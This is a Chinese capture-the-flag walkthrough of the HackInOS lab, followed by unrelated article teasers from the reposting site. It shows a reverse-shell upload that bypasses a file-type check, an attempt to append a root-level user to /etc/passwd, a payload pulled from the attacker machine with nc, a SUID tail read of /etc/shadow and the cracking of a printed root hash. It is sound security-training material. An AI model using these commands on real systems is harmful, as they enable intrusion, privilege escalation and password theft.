实战打靶集锦-025-HackInOS

文章目录

  • 1. 主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. 服务探查
  • 5. 提权
    • 5.1 枚举系统信息
    • 5.2 探索一下passwd
    • 5.3 枚举可执行文件
    • 5.4 查看capabilities位
    • 5.5 目录探索
    • 5.6 枚举定时任务
    • 5.7 Linpeas提权


靶机地址:https://download.vulnhub.com/hackinos/HackInOS.ova

1. 主机发现

目前只知道目标靶机在192.168.232.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.232.0/24

在这里插入图片描述
锁定目标靶机IP为192.168.232.145。

2. 端口扫描

通过下面的命令进行端口扫描。

$ sudo nmap -p 1-65535 192.168.232.145

在这里插入图片描述
暴露的端口不多,看来只能先从8000端口下手了。

3. 服务枚举

通过下面的命令进行服务枚举。

$ sudo nmap -p22,8000 -A -sT -sV 192.168.232.145

在这里插入图片描述

4. 服务探查

先通过浏览器访问一下8000端口看一下。
在这里插入图片描述
貌似是一个基于WoePress的Blog站点,不过比较有意思的是,所有的超链接都指向了localhost,就算我在kali上将localhost指向了靶机,还是无法访问,但是手工在浏览器里面将localhost修改成靶机IP地址就可以访问。就算修改了/etc/hosts也不会生效,不过手工ping这个localhost是可以跳转到我们的靶机地址的。
在这里插入图片描述
先用wpscan扫描一下再说吧。

$ wpscan --url http://192.168.232.145:8000/

在这里插入图片描述
扫出了一点东西,但是感觉价值没有那么高,先看看对应的robots文件。
在这里插入图片描述
进去看看。
在这里插入图片描述
upload.php页面可以上传突破文件,不过uploads目录不允许访问,估计是做了限制,不过这里应该是显示上传的文件的列表,试了一下确实可以上传成功,不过这里看不到。枚举一下目录吧。

$ dirsearch -u http://192.168.232.145:8000/

在这里插入图片描述
没有太特殊的内容发现,再用dirb挂载big字典看看。

$ dirb http://192.168.232.145:8000/ /usr/share/wordlists/dirb/big.txt -X .php

在这里插入图片描述
跟之前的扫描没啥区别,唯一多出来的一个/wp-trackback.php,里面也没有什么特殊内容,如下图。
在这里插入图片描述
果断放弃了,还是看看apache和wordpress有没有可用的EXP吧,遗憾的是也没有找到合适的。
回顾前面的操作,貌似大概率可能突破边界的地方还是上传文件的地方,回过头去再看看。
在这里插入图片描述
这个页面实在是简单的不能再简单了,上传一个图片文件和php脚本分别看看有啥反应。
在这里插入图片描述
没有太多的规律性,现在的关键是找到上传的内容去了哪里,先看看Submit按钮的源代码吧。
在这里插入图片描述
也没啥特殊的,不过最后的注释行里面有个git上的项目,看看这里面是否有我们需要的内容。
在这里插入图片描述
尤其是第二个,感觉就是这个靶机的一个打靶线索啊,竟然有这种好事,简直是救命稻草,进去看看。
在这里插入图片描述
这不是打靶的线索,是对于这个靶机的描述,还是看看README.md和upload.php两个文件吧。
在这里插入图片描述
果真是文件上传的逻辑,大致是在元文件名后面添加1~100的随机数,然后再计算MD5作为新文件名,文件上传到/uploads/目录下;如果上传的是图片文件(mime类型为image/png或者image/gif),返回“file uploaded xxx”如果是其它文件,返回“😃”,看来我们之前显示的“😃”都是因为上传失败了。
知道了这个大致逻辑,我们就可以尝试枚举我们上传后的文件的文件名了。思路如下:
先构建一个带有反弹shell的php文件,文件头添加GIF8以绕过文件类型检查,如下图。
在这里插入图片描述
然后这个文件名后面添加1~100的数字并计算出MD5作为新的文件名,将这些文件名写到一个文件里面作为字典,然后用dirb进行爆破,应该是可以爆破出上传文件的文件名。
我们的php文件如上图所示,然后分别将对应的文件名加上1~100,即revers1、revers2、revers3、revers4 …,然后将文件名计算MD5后放到文本文件中作为字典(用python脚本生成)。
在这里插入图片描述
生成的字典如上图所示,用于生成字典的脚本如下图所示。
在这里插入图片描述
接下来我们开始上传带有反弹shell的php脚本revers.php。
在这里插入图片描述
根据代码中的逻辑,上图所示的信息显示时,代表上传成功了,然后我们用dirb挂上前面产生的字典枚举一下看看。

$ dirb http://192.168.232.145:8000/uploads/ my_dict.txt

在这里插入图片描述
好奇怪,我上传了N次,不应该枚举出来是空的。不知道是不是我本地的revers.php文件和python脚本、my_dict.txt字典不在同一个目录的原因,将revers.php文件拷贝到跟my_dict.txt同一个目录下再试一遍,顺利被枚举出来了,如下图。
在这里插入图片描述
接下来,在kali上的4444端口上建立监听,然后手工访问一下上面的文件试试看。
在这里插入图片描述
访问不成功,反弹shell也没有建立,前面枚举出来的两个文件都是这样的问题。再回过头来看看刚才枚举出来的文件还在不在。
在这里插入图片描述
空了,可能服务器后台有对上传的文件进行定时清理的机制,在我磨蹭的过程中被清理掉了。这次先建立好监听,然后快速上传,枚举出来以后直接访问一下。
在这里插入图片描述
嗯,这次建立反弹shell成功了,不过浏览器访问上传的文件的时候,还是提示not found。

5. 提权

先优化一下shell。

$ whereis python
$ /usr/bin/python3.5 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
这次看上去稍微正常一点了。

5.1 枚举系统信息

$ uname -a
$ cat /etc/*-release

在这里插入图片描述
是64位的Ubuntu 16.04.1。

5.2 探索一下passwd

$ cat /etc/passwd | grep -v nologin

在这里插入图片描述
从显示结果来看,除了root没有比较正常的用户可以通过shell登录。尝试写入一个用户。

$ openssl passwd test123

在这里插入图片描述

$ echo "testusr:$1$PR0EMvBa$Y6BsWQAQVRKB3ZfEnS1Ow0:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
没有权限。

5.3 枚举可执行文件

www-data@1afdd1f6b82c:/$ sudo -l

在这里插入图片描述
无法执行sudo。

www-data@1afdd1f6b82c:/home$ find / -user root -perm -4000 2>/dev/null

在这里插入图片描述
貌似没有可以用于提权的可执行文件。

5.4 查看capabilities位

www-data@1afdd1f6b82c:/home$ /usr/sbin/getcap -r / 2>/dev/null

在这里插入图片描述
没有合适的capabilities。

5.5 目录探索

先查看一下当前用户的家目录下都有些啥。

www-data@1afdd1f6b82c:/home$ cd ~/
www-data@1afdd1f6b82c:/home$ ls -lah

在这里插入图片描述
就是我们前面目录枚举是看到的内容,那个神奇的uploads目录也赫然在列,也没啥特殊的,还得用linpeas搞一下。

5.6 枚举定时任务

www-data@1afdd1f6b82c:/tmp$ cat /etc/crontab

在这里插入图片描述

5.7 Linpeas提权

在这里插入图片描述
嗯,靶机上竟然不能使用wget,看看有没有nc。
在这里插入图片描述
nc是可以的,通过nc上传linpeas.sh。
Kali主机:$ nc -lvnp 9999 < linpeas.sh
靶机上:$ nc 192.168.232.129 9999 > linpeas.sh
顺利传输成功。
在这里插入图片描述
运行一下。

www-data@1afdd1f6b82c:/home$ chmod u+x linpeas.sh
www-data@1afdd1f6b82c:/home$ sh linpeas.sh

可惜没看到有合适的提权提示,只有一个/usr/bin/tail(其实前面我们枚举可执行文件的时候就枚举出来了,不过不会用。。),如下图。
在这里插入图片描述
网上搜了半天,只找到了一篇文章,还不太会用。但是大致意思是通过具备SUID的命令可以临时获得对应文件的属主的权限?我们参照这篇文章(https://juggernaut-sec.com/suid-sgid-lpe/),用/etc/passwd文件试试看。
在这里插入图片描述
貌似没有我们想想的那么简单。不过按照上面的说法,我们是不是可以用tail想看啥文件就看啥文件?我们试试分别用cat和tail获取一下shadow文件的内容试试看。

www-data@1afdd1f6b82c:/tmp$ cat /etc/shadow
www-data@1afdd1f6b82c:/tmp$ /usr/bin/tail -c1G /etc/shadow

在这里插入图片描述
确实如上面的猜测,cat看不到shadow文件的内容,tail是可以的,并且在shadow中捞到了root用户的密码信息: 6 说明算法用的是 S H A − 512 ,中间的 6说明算法用的是SHA-512,中间的 6说明算法用的是SHA512,中间的qoj6/JJi是盐值,再往后才是密文。
手工看看能不能从中解析出真正的密码。

在这里插入图片描述
使用hash-identifier没有收获,再用john试试看。

$ echo '$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/' > root_pass.txt
$ john root_pass.txt

在这里插入图片描述
难道这个john就算是root的密码了?直接切换到root用户试试看吧。
在这里插入图片描述
还真是这样子,第一次从shadow文件中解析密码,又学了一招,获取一下flag。
在这里插入图片描述
提权成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2799768.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

万界星空科技MES系统,实现数字化智能工厂

万界星空科技帮助制造型企业解决生产过程中遇到的生产过程不透明&#xff0c;防错成本高&#xff0c;追溯困难&#xff0c;品质不可控&#xff0c;人工效率低下&#xff0c;库存积压&#xff0c;交期延误等问题&#xff0c;从而达到“降本增效”的目标。打通各个信息孤岛&#…

Android进阶(二十九) 走近 IntentFilter

文章目录 一、什么是IntentFilter &#xff1f;二、IntentFilter 如何过滤隐式意图&#xff1f;2.1 动作测试2.2 类别测试2.3 数据测试 一、什么是IntentFilter &#xff1f; 如果一个 Intent 请求在一片数据上执行一个动作&#xff0c; Android 如何知道哪个应用程序&#xf…

力扣 面试题 05.06. 整数转换

思路&#xff1a; 牵扯到二进制数&#xff0c;基本上要考虑位运算符&#xff0c;相关知识可以见http://t.csdnimg.cn/fzts7 之前做过类似的题目&#xff0c;大致思路就是先用按位异或^找出不同位&#xff0c;再用n&&#xff08;n-1&#xff09;计算出不同位的个数&#x…

恒峰—高压森林应急消防泵:保障森林安全

在自然环境中&#xff0c;森林起着至关重要的作用&#xff0c;它们不仅为我们提供木材和清新的空气&#xff0c;还是众多生物的家园。然而&#xff0c;随着人类活动的增长&#xff0c;森林面临着越来越严重的火灾威胁。为了保护这些宝贵的资源&#xff0c;我们需要一种高效、可…

10.CSS3的calc函数

CSS3 的 calc 函数 经典真题 CSS 的计算属性知道吗&#xff1f; CSS3 中的 calc 函数 calc 是英文单词 calculate&#xff08;计算&#xff09;的缩写&#xff0c;是 CSS3 的一个新增的功能。 MDN 的解释为可以用在任何长度、数值、时间、角度、频率等处&#xff0c;语法如…

为全志D1开发板移植LVGL日历控件和显示天气

利用TCP封装HTTP包请求天气信息 Linux还真是逐步熟悉中&#xff0c;现在才了解到Linux即没有原生的GUI&#xff0c;也没有应用层协议栈&#xff0c;所以要实现HTTP应用&#xff0c;必须利用TCP然后自己封装HTTP数据包。本篇即记录封装HTTP数据包&#xff0c;到心知天气请求天气…

【Linux】再谈进程地址空间

目录 一、引入 二、物理内存和外设空间的交互 三、解决页表过大问题 一、引入 我们在往期的博客中有讲解过进程地址空间&#xff1a;【Linux】进程地址空间 但是在上述博客中我们只是对进程地址空间的左边部分详细进行了讲解&#xff0c;下面我们就来谈谈右边的部分&#…

git版本回退在eclipse和命令中的操作

一.背景 老程序员了&#xff0c;熟悉eclipsesvn&#xff0c;git用的不溜。近几年用了git&#xff0c;偶尔修改了某个文件希望放弃本次修改重新恢复到最新版本重新修改。或者回退到某个版本&#xff0c;再修改。记录一下Eclipse中的操作&#xff0c;和命令操作的情况。 二.Ecli…

操作系统导论-课后作业-ch19

1. 本书在第6章中有过介绍&#xff0c;gettimeofday函数最多精确到us&#xff0c;并且大致精确&#xff08;并不完全精确&#xff09;&#xff0c;需要多迭代几次减少误差&#xff0c;循环次数太多也会导致结束时间小于开始时间&#xff08;即回滚&#xff09;的现象&#xff…

每日shell脚本之超级整合程序3.0

每日shell脚本之超级整合程序3.0 本期带来之前的升级版2.0整合脚本程序,学习工作小利器,同时模块化构建方便二次开发。 上图 上源码 #!/usr/bin/bash # *******************************************# # * CDDN : M乔木 # # * qq邮箱 …

社区分享|中华保险基于MeterSphere开展接口自动化测试

中华联合保险集团股份有限公司&#xff08;以下简称为“中华保险”&#xff09;始创于1986年&#xff0c;是全国唯一一家以“中华”冠名的国有控股保险公司。截至2022年12月底&#xff0c;中华保险总资产为1006.06亿元&#xff0c;在全国拥有超过2900个营业网点&#xff0c;员工…

06 分频器设计

分频器简介 实现分频一般有两种方法&#xff0c;一种方法是直接使用 PLL 进行分频&#xff0c;比如在 FPGA 或者 ASIC 设计中&#xff0c;都可以直接使用 PLL 进行分频。但是这种分频有时候受限于 PLL 本身的特性&#xff0c;无法得到频率很低的时钟信号&#xff0c;比如输入 …

Windows安装PHP及在VScode中配置插件,使用PHP输出HelloWorld

安装PHP PHP官网下载地址(8.3版本)&#xff1a;PHP For Windows&#xff1a;二进制文件和源代码发布 点击下载.zip格式压缩包&#xff1a; 历史版本在Old archives中下载。推荐在Documentation download中下载官方文档&#xff0c;方便学习。 下载完成后在一个顺眼的地方解压压…

Point.java

Point.java 让我们来找茬&#xff0c;(⊙o⊙)看看哪里不一样咯&#xff01;&#xff01;&#xff01; package algorithm_graphics_2;/** Copyright (c) 1995, 2008, Oracle and/or its affiliates. All rights reserved.* ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject t…

Zabbix 6.2.1 安装

目录 1、监控介绍 监控的重要性 网站的可用性 监控范畴 如何监控 2、Zabbix 介绍 zabbix 简介 zabbix 主要功能 zabbix 监控范畴 Zabbix 监控组件 zabbix 常见进程 zabbix agentd 工作模式 zabbix 环境监控中概念 3、搭建LNMP 拓扑规划 安装MySQL 安装 Nginx …

【视频编解码】M-JPEG压缩、H.264压缩 对比

简介 参考这篇文章&#xff1a;https://blog.csdn.net/qq_41248872/article/details/83590337 写的比较好&#xff0c;这里就不赘述了。 我们在视频传输的时候&#xff0c;需要压缩&#xff0c;常见的压缩包括: jpeg 压缩h264 压缩 当然使用最多的还是 264, 毕竟他的压缩比…

【Flink经济】Flink 内存管理

面临的问题 目前&#xff0c; 大数据计算引擎主要用 Java 或是基于 JVM 的编程语言实现的&#xff0c;例如 Apache Hadoop、 Apache Spark、 Apache Drill、 Apache Flink 等。 Java 语言的好处在于程序员不需要太关注底层内存资源的管理&#xff0c;但同样会面临一个问题&…

【快速搞定Webpack5】修改输出文件目录及自动清理上次打包文件(五)

介绍 默认情况下webpack打包后&#xff0c;我们的图片和js等文件都会被打包到dist目录下&#xff0c;文件多了混淆在一起一方面不利于文件的查找和管理&#xff0c;另外一方面看上去也不美观。 所以今天我们学习的内容就是控制输出后的文件进入不同的目录。 一、配置 新增4…

小米标准模组+MCU 快速上手开发(二)——之模组串口调试

小米标准模组MCU 开发笔记之固件调试 背景技术名词简介● 小米IoT开发者平台● 小米IoT 模组● 固件● OTA● CRC32 固件双串口调试● MHCWB6S-IB 模组资料下载● MHCWB6S-IB 模组管脚图● 上电调试 背景 小米标准模组MCU的开发过程中&#xff0c;由于部分官方资料较为古早&am…

压缩感知常用的重建算法

重建算法的基本概念 在压缩感知&#xff08;Compressed Sensing, CS&#xff09;框架中&#xff0c;重建算法是指将从原始信号中以低于奈奎斯特率采集得到的压缩测量值恢复成完整信号的数学和计算过程。由于信号在采集过程中被压缩&#xff0c;因此重建算法的目标是找到最符合…